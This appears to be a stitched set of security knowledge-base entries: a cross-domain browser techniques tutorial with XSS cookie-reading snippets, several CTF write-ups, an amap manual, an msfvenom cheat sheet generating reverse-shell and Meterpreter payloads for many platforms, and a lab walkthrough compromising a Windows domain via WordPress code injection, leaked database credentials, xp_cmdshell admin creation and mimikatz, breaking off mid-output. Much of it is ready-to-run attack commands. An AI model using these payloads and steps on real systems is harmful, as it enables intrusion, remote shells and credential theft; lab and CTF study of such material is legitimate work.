行),则响应内容不会返回给请求的发起者。 对于附带身份凭证的请求(通常是 Cookie),服务器不得设置 Access-Control-Allow-Origin 的值为“*”。 这是因为请求的首部中携带了 Cookie 信息,如果 Access-Control-Allow-Origin 的值为“*”,请求将会失败。而将 Access-Control-Allow-Origin 的值设置为 https://example.com, 则请求将成功执行。 另外,响应首部中也携带了 Set-Cookie 字段,尝试对 Cookie 进行修改。如果操作失败,将会抛出异常。 注意在 CORS 响应中设置的 cookies 适用一般性第三方 cookie 策略。在上面的例子中,页面是在 foo.example 加载,但是第 20 行的 cookie 是被 bar.other 发送的,如果用户设置其浏览器拒绝所有第三方 cookies,那么将不会被保存。 请求中的 cookie(第 10 行)也可能在正常的第三方 cookie 策略下被阻止。因此,强制执行的 cookie 策略可能会使本节描述的内容无效(阻止你发出任何携带凭据的请求)。 Cookie 策略受 [SameSite](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Set-Cookie/SameSite) 属性控制。 ## 三、window.name ## window.name 在一个窗口(标签)的生命周期之内是共享的,利用这点就可以传输一些数据。 除此之外,结合 iframe 还能实现更加强大的功能: 需要3个文件: a/proxy/b a.html ``` javascript <script type="text/javascript"> var state = 0, iframe = document.createElement('iframe'), loadfn = function() { if (state === 1) { var data = iframe.contentWindow.name; // 读取数据 alert(data); //弹出'I was there!' } else if (state === 0) { state = 1; iframe.contentWindow.location = "http://a.com/proxy.html"; // 设置的代理文件 } }; iframe.src = 'http://b.com/b.html'; if (iframe.attachEvent) { iframe.attachEvent('onload', loadfn); } else { iframe.onload = loadfn; } document.body.appendChild(iframe); </script> ``` b.html ``` javascript <script type="text/javascript"> window.name = 'I was there!'; // 这里是要传输的数据,大小一般为2M,IE和firefox下可以大至32M左右 // 数据格式可以自定义,如json、字符串 </script> ``` proxy 是一个代理文件,空的就可以,需要和 a 在同一域下。 window.name 对象是一个很神奇的东西。对当前窗口的 window.name 对象赋值,没有特殊字符的限制。因为window 对象是浏览器的窗体,而并非 document 对象,因此很多时候 window 对象不受同源策略的限制。攻击者利用这个对象,可以实现跨域、跨页面传递数据。在某些环境下,这种特性将变得非常有用。 ``` javascript <script> window.name = "alert(document.cookie)"; location.href = "http://www.xssedsite.com/xssed.php"; </script> ``` 在同一窗口打开xss 的站点后,只需通过xss 执行以下代码即可:`eval(window.name)`; ## 四、 document.domain ## 在不同的子域 + iframe交互的时候,获取到另外一个 iframe 的 window对象是没有问题的,但是获取到的这个window的方法和属性大多数都是不能使用的。这种现象可以借助document.domain 来解决。 example.com ``` html <iframe id='i' src="1.example.com" onload="do()"></iframe> <script> document.domain = 'example.com'; document.getElementById("i").contentWindow; </script> ``` 1.example.com ``` javascript <script> document.domain = 'example.com'; </script> ``` 这样,就可以解决问题了。值得注意的是:document.domain 的设置是有限制的,只能设置为页面本身或者更高一级的域名。 利用这种方法是极其方便的,但是如果一个网站被攻击之后另外一个网站很可能会引起安全漏洞。 另外,如果某站点 js 写得不完善,导致设置错误的 document.domain,可能引起跨域cookie 读取问题。 ``` html <script> document.domain="com"; function test(){ alert(document.getElementById("xxx").contentWindow.document.cookie); } </script> <script type="text/javascript"> document.oncontextmenu=function(e){return false;} </script> <iframe frameborder="0" hspace="0" vspace="0" style="display:none" id="xxx" onload="test()" src="http://1. example.com/test.html?domain=com"></iframe> ``` 其中 `http://1. example.com/test.html?domain=com` 里面设置了错误的 `document.domain` ``` js var domain = location.search.split("?").pop().split("&").shift(); document.domain = decodeURIComponent(domain); ``` ## 五、location.hash ## 这种方法可以把数据的变化显示在 url 的 hash 里面。但是由于 chrome 和 IE 不允许修改parent.location.hash 的值,所以需要再加一层。 a.html 和 b.html 进行数据交换。 a.html ``` javascript function startRequest(){ var ifr = document.createElement('iframe'); ifr.style.display = 'none'; ifr.src = 'http://b.com/b.html#paramdo'; document.body.appendChild(ifr); } function checkHash() { try { var data = location.hash ? location.hash.substring(1) : ''; if (console.log) { console.log('Now the data is '+data); } } catch(e) {}; } setInterval(checkHash, 2000); ``` b.html ``` javascript switch(location.hash){ case '#paramdo': callBack(); break; case '#paramset': //do something…… break; }//模拟一个简单的参数处理操作 function callBack(){ try { parent.location.hash = 'somedata'; } catch (e) { // ie、chrome的安全机制无法修改parent.location.hash, // 所以要利用一个中间域下的代理iframe var ifrproxy = document.createElement('iframe'); ifrproxy.style.display = 'none'; ifrproxy.src = 'http://a.com/c.html#somedata'; // 注意该文件在"a.com"域下 document.body.appendChild(ifrproxy); } } ``` c.html ``` javascript parent.parent.location.hash = self.location.hash.substring(1); //因为parent.parent和自身属于同一个域,所以可以改变其location.hash的值 ``` 这样,利用中间的 c 层就可以用 hash 达到 a 与 b 的交互了。 ## 六、window.postMessage() ## 这个方法是 HTML5 的一个新特性,可以用来向其他所有的window对象发送消息。需要注意的是我们必须要保证所有的脚本执行完才发送MessageEvent,如果在函数执行的过程中调用了它,就会让后面的函数超时无法执行。 > https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage 基本操作如下图所示: ![postm_1](../pictures/postm_1.png) ![postm_2](../pictures/postm_2.png) 注意:otherWindow.postMessage : message从当前页发向了otherWindow postMessage的几个场景 * Window.open 返回的窗口对象 * Window.opener * a 标签打开的窗口 * form post 打开的目标窗口 * iframe 的contentWindow * Window.frames[0] * Window.parent postMessage的安全注意事项 * 不要 post给 * * 校验 origin * 校验手段要严谨 * message 使用时要注意 安全处理 * https 的站不建议使用 onmessage ## Reference ## [浅谈浏览器端JavaScript 跨域解决方法](https://github.com/rccoder/blog/issues/5) 对方不想跟你说话并扔了个message.pdf https://fetch.spec.whatwg.org/#cors-safelisted-request-header
sec-knowleage
# ummmfpu > Reverse Engineering, 400 > > Difficulty: medium (9 solvers) > > So I found this Micromega FPU in my drawer, connected it to an Arduino Uno and programmed it to validate the flag. In this task we are given an Arduino code. It is connected to a Micromega FPU and sends firmware to it; then it sends flag and makes the firmware validate it. The whole task reduces to reverse engineering the FPU assembly. There is no disassembler easily available, but there's a documentation of the coprocessor instruction set at: http://micromegacorp.com/downloads/documentation/uMFPU-V3_1%20Instruction%20Set.pdf. After parsing the documentation and writing a rudimentary disassembler, we reverse engineered the firmware. It was self-modifying (xoring a few functions with a constant), so the disassembler inverted the transformation. The FPU had a few odd instructions, like matrix operations (transposing) or string operations (splitting on given character). In the end, the algorithm was quite simple and involved xoring with an LCG and comparing to a constant buffer.
sec-knowleage
# Dinary Misc., 15 points ## Description > My kipod is gone :( An image file was provided. ## Solution We receive an image file composed of black and white pixels. Running `zsteg` on the file, we get: ```console root@kali:/media/sf_CTFs/kaf/Dinary# zsteg dinary.png b1,r,lsb,xy .. text: "Hello World!, Yesterday my kipod went free and i can't find him! KAF{wh3r3_1s_my_k1p0d?}\nMaybe YOU can help me find my kipod? (his name is \"Fibon\")\nHope you'll find him, he should go on a tour really soon.\n1nFr>F3jpYQu@.KNMJPGUC*D$DL5Ky(IV:&{z6B#a7+jX0(u&?" ``` This is also achievable by iterating the pixels and interpreting them as binary: ```python from PIL import Image WHITE = (255, 255, 255) BLACK = (0, 0, 0) res = "" img = Image.open("dinary.png") m = img.load() w, h = img.size i = 0 for x in range(w): for y in range(h): i += 1 if m[y,x] == WHITE: res += "1" elif m[y,x] == BLACK: res += "0" else: raise Exception("Unexpected value {}".format(m[y,x])) if len(res) == 8: print("".join(chr(int(res,2))), end='', flush=True) res = "" ``` The flag: `KAF{wh3r3_1s_my_k1p0d?}`
sec-knowleage
# msfvenom 常用生成 Payload 命令 ### windows: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe ``` ### mac: ```bash msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho ``` ### android: ```bash //需要签名 msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk ``` ### powershell: ```bash msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1 ``` ### linux: ```bash msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf ``` ### php: ```bash msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php ``` ### aspx: ```bash msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx ``` ### jsp: ```bash msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp ``` ### war: ```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war ``` ### nodejs: ```bash msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js ``` ### python: ```bash msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py ``` ### perl: ```bash msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl ``` ### ruby: ```bash msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb ``` ### lua: ```bash msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua ``` ### windows shellcode: ```bash msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c ``` ### linux shellcode: ```bash msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c ``` ### mac shellcode: ```bash msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c ``` ### 便捷化payload生成: 项目地址: https://github.com/Screetsec/TheFatRat ```bash root@John:~/Desktop# git clone https://github.com/Screetsec/TheFatRat.git //设置时需要挂墙 ``` ![](media/492800d0d4d9ed8b762c3494bc845363.jpg) ![](media/6eeb8e3d9370ca202dd0b45abe2e8756.jpg) ![](media/a43ce02f6b76b5f01b8697c215bad11d.jpg) ![](media/58459088b75ecdcc093e435a5a586638.jpg) ### 附录: 中文使用说明: ```bash Options: -p, --payload <payload> 使用指定的payload --payload-options 列出该payload参数 -l, --list [type] 列出所有的payloads -n, --nopsled <length> 为payload指定一个 nopsled 长度 -f, --format <format> 指定payload生成格式 --help-formats 查看所有支持格式 -e, --encoder <encoder> 使用编码器 -a, --arch <arch> 指定payload构架 --platform <platform> 指定payload平台 --help-platforms 显示支持的平台 -s, --space <length> 设定payload攻击荷载的最大长度 --encoder-space <length> The maximum size of the encoded payload (defaults to the -s value) -b, --bad-chars <list> 指定bad-chars 如: '\x00\xff' -i, --iterations <count> 指定编码次数 -c, --add-code <path> 指定个win32 shellcode 文件 -x, --template <path> 指定一个 executable 文件作为模板 -k, --keep payload自动分离并注入到新的进程 -o, --out <path> 存放生成的payload -v, --var-name <name> 指定自定义变量 --smallest Generate the smallest possible payload -h, --help 显示帮助文件 ``` <p align="right">--By Micropoor </p>
sec-knowleage
--- title: Amap categories: Information Gathering tags: [kali linux,amap,information gathering,amapcrap] date: 2016-10-18 16:52:00 --- 0x00 Amap介绍 =========== Amap是第首款针对渗透测试人员的下一代扫描工具, 它尝试识别即使在不同于正常端口的端口上运行应用程序。 Amap还可以通过发送触发数据包并在响应字符串列表中查找响应来识别基于非ascii编码的应用程序。 工具来源:https://www.thc.org/thc-amap/ [Amap主页][1] | [Kali Amap Repo仓库][2] - 作者:van Hauser and DJ RevMoon - 证书:其他 0x01 包含在Amap包的工具 ================ amapcrap - 将随机数据发送到UDP,TCP或SSL端口以获取非法响应 ```shell root@kali:~# amapcrap amapcrap v5.4 (c) 2011 by van Hauser/THC <vh@thc.org> 语法:amapcrap [-S] [-u] [-m 0ab] [-M min,max] [-n connections] [-N delay] [-w delay] [-e] [-v] TARGET PORT 选项: -S TCP连接后使用SSL(不能与 -u 同时使用) -u 使用UDP协议(默认值:TCP)(不能与 -c 同时使用) -n 连接最大连接数(默认值:无限制) -N 连接之间的延迟(ms)(默认值:0) -w 延迟关闭端口之前的延迟(默认值:250) -e 当服务器做出响应时不停止发送 -v 详细模式 -m 0ab 发送为随机垃圾数据:0-空字节,a-字母+空格,b-二进制 -M min,max 随机垃圾数据的最小和最大长度 TARGET PORT 发送随机垃圾数据的目标(ip或dns)和端口 此工具将随机数据发送到静默端口以获取非法响应以便下一步amap检测, 它输出适用于amap定义的形式。 注意:默认情况下所有模式都将被激活(0:10%,a:40% b:50%),模式'a'总是发送以字母和空格结尾的行。 可以访问我们的主页http://www.thc.org ``` amapcrap用法示例 ------------ ```shell root@kali:~# amapcrap -n 20 -m a 192.168.1.15 80 -v # Starting AmapCrap on 192.168.1.15 port 80 # Writing a "+" for every 10 connect attempts # ++ done ``` amap – Application MAPper:渗透测试人员的下一代扫描工具 ```shell root@kali:~# amap amap v5.4 (c) 2011 by van Hauser <vh@thc.org> www.thc.org/thc-amap 语法: amap [-A|-B|-P|-W] [-1buSRHUdqv] [[-m] -o <file>] [-D <file>] [-t/-T sec] [-c cons] [-C retries] [-p proto] [-i <file>] [target port [port] ...] 模式: -A 地图应用程序:发送触发包和分析响应(默认) -B 只抓取标识信息,不发送触发包 -P 不抓取标识信息横幅或应用程序的东西 - (全连接)端口扫描器 选项: -1 只发送触发到端口,直到第一次标识。 -6 使用IPv6而不是IPv4 -b 打印响应的ascii标识信息 -i FILE 输出Nmap可读文件 -u 在命令行上指定的端口UDP(默认为TCP) -R 不标识RPC服务 -H 不发送被应用程序标记为潜在有害的触发包 -U 不要转储无法识别的响应(更脚本处理) -d 转储所有响应 -v 详细模式,使用两次(或更多!)进行调试(不推荐:-) -q 不报告关闭的端口,并且不将其打印为不识别的 -o FILE [-m] 将输出写入文件FILE,-m创建机器可读输出 -c CONS 要进行的并行连接数(默认32,最大256) -C RETRIES 连接超时的重新连接数(请参见-T)(默认3) -T SEC 连接尝试的连接超时(以秒为单位)(默认为5) -t SEC 响应等待超时(以秒为单位)(默认值为5) -p PROTO 仅发送此协议的触发包(例如ftp) TARGET PORT 要扫描的目标地址和端口(除-i之外) amap是用于标识目标端口上的应用程序协议的工具。 注意:此版本不是使用SSL支持编译的! 使用提示:建议使用选项“-bqv”,“-1”快速检查。 ``` Amap用法示例 ----------------- 扫描192.168.1.15 80端口,显示接收的标识(b),不显示关闭端口(Q),并使用详细输出(V): ```shell root@kali:~# amap -bqv 192.168.1.15 21 Using trigger file /etc/amap/appdefs.trig ... loaded 30 triggers Using response file /etc/amap/appdefs.resp ... loaded 346 responses Using trigger file /etc/amap/appdefs.rpc ... loaded 450 triggers amap v5.4 (www.thc.org/thc-amap) started at 2016-10-18 14:24:02 - APPLICATION MAPPING mode Total amount of tasks to perform in plain connect mode: 23 Waiting for timeout on 23 connections ... Protocol on 192.168.1.15 :21/tcp matches ftp - banner: 220---------- Welcome to Pure-FTPd [privsep] ----------\r\n220-You are user number 7 of 5000 allowed.\r\n220-Local time is now 0224. Server port 21.\r\n220-This is a private system - No anonymous login\r\n220-IPv6 connections are also welcome on this ser Protocol on 192.168.1.15 :21/tcp matches smtp - banner: 220---------- Welcome to Pure-FTPd [privsep] ----------\r\n220-You are user number 7 of 5000 allowed.\r\n220-Local time is now 0224. Server port 21.\r\n220-This is a private system - No anonymous login\r\n220-IPv6 connections are also welcome on this ser amap v5.4 finished at 2016-10-18 14:24:02 ``` ```shell root@kali:~# amap -bqv 192.168.1.15 80 Using trigger file /etc/amap/appdefs.trig ... loaded 30 triggers Using response file /etc/amap/appdefs.resp ... loaded 346 responses Using trigger file /etc/amap/appdefs.rpc ... loaded 450 triggers amap v5.4 (www.thc.org/thc-amap) started at 2016-10-18 14:25:57 - APPLICATION MAPPING mode Total amount of tasks to perform in plain connect mode: 23 Waiting for timeout on 23 connections ... Protocol on 192.168.1.15 :80/tcp matches http - banner: HTTP/1.1 400 Bad Request\r\nServer nginx\r\nDate Tue, 18 Oct 2016 182558 GMT\r\nContent-Type text/html\r\nContent-Length 166\r\nConnection close\r\n\r\n<html>\r\n<head><title>400 Bad Request</title></head>\r\n<body bgcolor="white">\r\n<center><h1>400 Bad amap v5.4 finished at 2016-10-18 14:25:57 ``` [1]: http://www.thc.org/thc-amap/ [2]: http://git.kali.org/gitweb/?p=packages/amap.git;a=summary
sec-knowleage
# Shopwn (Pwn, 375p, 76 solved) A task very similar to Shopping, but this time we can pass only positive numbers as quantity. The interface is exactly the same so again: ``` Welcome to Ekoparty shopping Center Feel free to buy up to 5 items that you may like Use wisely your coins, have fun! You have 50 coins What do you wanna buy today? 1. t-shirt 10 2. short 20 3. stickers 1 4. flag ? ``` This time the trick is to guess that since the server can check if our input is negative, it means there is a signed integer of some sort where our input is stored. In such case there is a chance of causing integer overflow when this value is multiplied by the price. We didn't know how many bits they're using but we got a hit with 16 bits. So we send a large signed 16 bit integer, which has to overflow after multiplication. We run: ```python import hashlib import re import os from crypto_commons.netcat.netcat_commons import nc, send, interactive def PoW(task): while True: data = os.urandom(10) if hashlib.sha1(data).hexdigest()[0:6] == task: return data def main(): url = "shopping.ctf.site" port = 22222 s = nc(url, port) data = s.recv(9999) task = re.findall("== (.*)", data)[0] send(s, PoW(task)) print(s.recv(9999)) send(s, "4") print(s.recv(9999)) send(s, str(2 ** 15)) print(s.recv(9999)) interactive(s) main() ``` and we get `EKO{dude_where_is_my_leak?}`
sec-knowleage
unprotoize === 删除C语言源代码文件中的函数原型 ## 补充说明 **unprotoize命令** 属于gcc套件,用于删除C语言源代码文件中的函数原型。 ### 语法 ```shell unprotoize(选项)(参数) ``` ### 选项 ```shell -d:设置需要转换代码的目录; -x:转换代码时排除的文件。 ``` ### 参数 文件:需要转换代码的C语言源文件。
sec-knowleage
**Authors**: < [nixawk](https://github.com/nixawk) > ---- # Hacking Windows Active Directory ## Contents ``` 1. Description 2. Workthrough 2.1 10.1.222.203 2.1.1 Wordpress - Code Injection 2.2 10.1.222.200 2.2.1 Port Scanning 2.2.2 XP_CMDSHELL 2.3 10.1.222.201 2.3.1 MS14-068 2.4 10.1.222.202 ``` ---- ## Description ``` Description read Flag from C:\file.sys on Windows DC. Please find Windows DC yourself. Target http://10.1.222.203 (The Start) 10.1.222.200 10.1.222.201 10.1.222.202 10.1.222.203 ``` ---- ## Workthrough Attackmap: ``` ---->[10.1.222.203]---->[10.1.222.200]---->[10.1.222.201]---->[10.1.222.202] ``` ``` 1. 10.1.222.203 wordpress vuln (code injecion). read password from wp-config.php login 10.1.222.200's SQL Server with the password. 2. 10.1.222.200 access SQL SERVER, and enable XP_CMDSHELL add a administrator user. 3. 10.1.222.201 exploit windows domain administrator with MS14-068 a mstsc client on administrator's desktop 4. 10.1.222.202 get Windows DC Administrator Privilege. ``` ---- ### 10.1.222.203 http://10.1.222.203/ is a wordpress site, we can use wpscan](https://github.com/wpscanteam/wpscan) to identify vulns. #### WORDPRESS scan wordpress plugins with parameter 'p'. ``` ┌─[✗]─[lab@core]─[/opt/wpscan] └──╼ ruby wpscan.rb --url 10.1.222.203 --enumerate p _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 2.8 Sponsored by Sucuri - https://sucuri.net @_WPScan_, @ethicalhack3r, @erwan_lr, pvdl, @_FireFart_ _______________________________________________________________ [+] URL: http://10.1.222.203/ [+] Started: Tue Sep 8 03:21:27 2015 [+] robots.txt available under: 'http://10.1.222.203/robots.txt' [!] The WordPress 'http://10.1.222.203/readme.html' file exists exposing a version number [+] Interesting header: SERVER: Apache/2.4.7 (Ubuntu) [+] Interesting header: X-POWERED-BY: PHP/5.5.9-1ubuntu4.12 [+] XML-RPC Interface available under: http://10.1.222.203/xmlrpc.php [+] WordPress version 4.3 identified from meta generator [+] WordPress theme in use: twentyfifteen - v1.3 [+] Name: twentyfifteen - v1.3 | Location: http://10.1.222.203/wp-content/themes/twentyfifteen/ | Readme: http://10.1.222.203/wp-content/themes/twentyfifteen/readme.txt | Style URL: http://10.1.222.203/wp-content/themes/twentyfifteen/style.css | Theme Name: Twenty Fifteen | Theme URI: https://wordpress.org/themes/twentyfifteen/ | Description: Our 2015 default theme is clean, blog-focused, and designed for clarity. Twenty Fifteen's simple,... | Author: the WordPress team | Author URI: https://wordpress.org/ [+] Enumerating installed plugins ... Time: 00:03:46 <=============================================================> (1906 / 1906) 100.00% Time: 00:03:46 [+] We found 2 plugins: [+] Name: akismet | Location: http://10.1.222.203/wp-content/plugins/akismet/ [+] Name: cm-download-manager | Location: http://10.1.222.203/wp-content/plugins/cm-download-manager/ | Readme: http://10.1.222.203/wp-content/plugins/cm-download-manager/readme.txt [!] We could not determine a version so all vulnerabilities are printed out [!] Title: CM Download Manager <= 2.0.0 - Code Injection Reference: https://wpvulndb.com/vulnerabilities/7679 Reference: http://packetstormsecurity.com/files/129183/ Reference: https://downloadsmanager.cminds.com/release-notes/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-8877 Reference: http://osvdb.org/show/osvdb/114867 Reference: https://www.exploit-db.com/exploits/35324/ [i] Fixed in: 2.0.4 [!] Title: CM Download Manager <= 2.0.6 - XSS and CSRF Reference: https://wpvulndb.com/vulnerabilities/7756 Reference: http://packetstormsecurity.com/files/129357/ Reference: http://www.securityfocus.com/bid/71418/ Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-9129 Reference: http://osvdb.org/show/osvdb/115223 [i] Fixed in: 2.0.7 [+] Finished: Tue Sep 8 03:25:29 2015 [+] Requests Done: 2001 [+] Memory used: 41.98 MB [+] Elapsed time: 00:04:02 ``` Code Injection / Xss and CSRF are here. #### Code Injection Try to exploit the site with **CM Download Manager <= 2.0.0 - Code Injection**, information: ``` http://10.1.222.203/cmdownloads/?CMDsearch=%22.phpinfo%28%29.%22 ``` view disable functios from phpinfo page. ``` system, exec, shell_exec, passthru, popen, dl, proc_open, popen, curl_exec, curl_multi_exec, parse_ini_file, show_source, pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, ``` read wordpress configuration file **wp-config.php**: ``` http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(scandir('.'))." http://10.1.222.203/cmdownloads/?CMDsearch=".print_r(file_get_contents('wp-config.php'))." ``` **wp-config.php**'s contents as follow: ``` /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://codex.wordpress.org/Editing_wp-config.php * * @package WordPress */ /* * hello world! * * * ========================================================================= * Hackers, Welcome Here: * * 1、Please keey everything work well; * 2、Maybe 10.1.222.203's root privilege is not important; * 3、Logging is enable, and don't try to destroy the lab machine; * 4、Targets:10.1.222.200、10.1.222.201、10.1.222.202、10.1.222.203 ; * 5、read C:\file.sys on Windows DC; * 6、Tools here: http://10.1.222.203/toolsforyou/ * 7、Enjoy It! * 8. Happy Hacking ! * ========================================================================= * * / // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define('DB_NAME', 'test'); /** MySQL database username */ define('DB_USER', 'root'); /** MySQL database password */ define('DB_PASSWORD', 'Xd1moYqFr'); /** MySQL hostname */ define('DB_HOST', '10.1.222.200'); /** Database Charset to use in creating database tables. */ define('DB_CHARSET', 'utf8mb4'); /** The Database Collate type. Don't change this if in doubt. */ define('DB_COLLATE', ''); /**#@+ * Authentication Unique Keys and Salts. * * Change these to different unique phrases! * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service} * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again. * * @since 2.6.0 */ define('AUTH_KEY', '^01/8T?sIYu5/zkZ/;5AcsN R5Nf0cy{aI4w%J5+_O1PWn!RBX8vje8Q|G:*2h_d'); define('SECURE_AUTH_KEY', ',{0:g.r(ml9LY+lpe4EG-SQ`Np p@r+8g6hiRYy0VAoMn~h[2XBU{X83(]MMkajF'); define('LOGGED_IN_KEY', 'RO}{Eyw(<(J=g|6=b4*Q(f-Uk&XB3.Hv6 XTGg!+C9Du-86U4e.wY9+,Zz&h0 (_'); define('NONCE_KEY', 'SN2+N1ZA6v[a.QgfGsZHyq&8 tO. 4^FNrlea:|7ifM)m-Uy!H^;At-8MeqrwMRM'); define('AUTH_SALT', 'HE<}>b.$S.GKNy@cUXCezBJmGkVM~GO/R%jB}6y~@HY3 W{%+,]mkpbEjC|GQ73!'); define('SECURE_AUTH_SALT', '.0Jix9L(%)XxhlNA3~IFPKWs!jm|VJ_]}J))@jpQV_]T>T7)i-e@z#k0W^q/Eq[G'); define('LOGGED_IN_SALT', 'V2bk%aIT-yTnvcj7+n,).IVygEdkc<p8VDWw-E&D^hS)2dR%ld&vZv`He|fdxalN'); define('NONCE_SALT', 'r+zYG+^AcZFA3;|d0]@.;7]PD>[9@Jv[@eLZ-u;v#l&R%@g40x?:4CO/-?y)3t=]'); ``` 10.1.222.203's database is from 10.1.222.200. ---- ### 10.1.222.200 #### Port Scanning Scan open ports with nmap, and we find tcp/1433 - SQL Server. ``` Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-08 12:04 China Standard Time Initiating SYN Stealth Scan at 12:04 Scanning 10.1.222.200 [1000 ports] Discovered open port 3306/tcp on 10.1.222.200 Discovered open port 139/tcp on 10.1.222.200 Discovered open port 135/tcp on 10.1.222.200 Discovered open port 3389/tcp on 10.1.222.200 Discovered open port 445/tcp on 10.1.222.200 Discovered open port 1433/tcp on 10.1.222.200 Discovered open port 49152/tcp on 10.1.222.200 Discovered open port 49156/tcp on 10.1.222.200 Discovered open port 49154/tcp on 10.1.222.200 Discovered open port 49155/tcp on 10.1.222.200 Discovered open port 49153/tcp on 10.1.222.200 Discovered open port 49157/tcp on 10.1.222.200 Completed SYN Stealth Scan at 12:04, 2.37s elapsed (1000 total ports) Nmap scan report for 10.1.222.200 Host is up (0.060s latency). Not shown: 988 closed ports PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1433/tcp open ms-sql-s 3306/tcp open mysql 3389/tcp open ms-wbt-server 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49156/tcp open unknown 49157/tcp open unknown Read data files from: C:\Program Files\Nmap Nmap done: 1 IP address (1 host up) scanned in 2.52 seconds Raw packets sent: 1009 (44.396KB) | Rcvd: 1000 (40.048KB) ``` access SQL Server successfully with **sa/Xd1moYqFr**. * Linux - Freetds [Usage](http://richbs.org/post/43142767072/connecting-to-microsoft-sql-server-from-unix). * Windows - QueryExpress #### XP\_CMDSHELL connect to SQL SERVER (10.1.222.200:1433), ``` ┌─[✗]─[lab@core]─[/opt] └──╼ tsql -S egServer70 -U sa Password: locale is "en_US.UTF-8" locale charset is "UTF-8" using default charset "UTF-8" 1> select @@version 2> go Microsoft SQL Server 2008 R2 (RTM) - 10.50.1600.1 (X64) Apr 2 2010 15:48:46 Copyright (c) Microsoft Corporation Standard Edition (64-bit) on Windows NT 6.1 <X64> (Build 7600: ) (Hypervisor) (1 row affected) ``` database version: SQL SERVER 2008. enable XP\_CMDSHELL with commands. ``` 1> EXEC sp_configure 'show advanced options',1 2> GO Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174: "Configuration option 'show advanced options' changed from 1 to 1. Run the RECONFIGURE statement to install." (return status = 0) 1> RECONFIGURE 2> GO 1> EXEC sp_configure 'xp_cmdshell',1 2> GO Msg 15457 (severity 0, state 1) from DATABASE, Procedure sp_configure Line 174: "Configuration option 'xp_cmdshell' changed from 1 to 1. Run the RECONFIGURE statement to install." (return status = 0) 1> RECONFIGURE 2> GO ``` add a administrator with XP\_CMDSHELL. ``` 1> EXEC xp_cmdshell 'whoami' 2> GO output nt authority\system NULL (2 rows affected) (return status = 0) 1> EXEC xp_cmdshell 'wmic useraccount get name,sid' 2> GO output Name SID Administrator S-1-5-21-30580861-1793299886-3410204933-500 ctfcx S-1-5-21-30580861-1793299886-3410204933-1010 Guest S-1-5-21-30580861-1793299886-3410204933-501 test S-1-5-21-30580861-1793299886-3410204933-1015 NULL (7 rows affected) (return status = 0) 1> ``` add a administrator user, and access 10.1.222.200 successfully. We can read clear passwords with mimikatz. ``` C:\Users\Administrator\Desktop\mimikatz_trunk\x64>mimikatz.exe .#####. mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48) .## ^ ##. ## / \ ## /* * * ## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) '## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo) '#####' with 16 modules * * 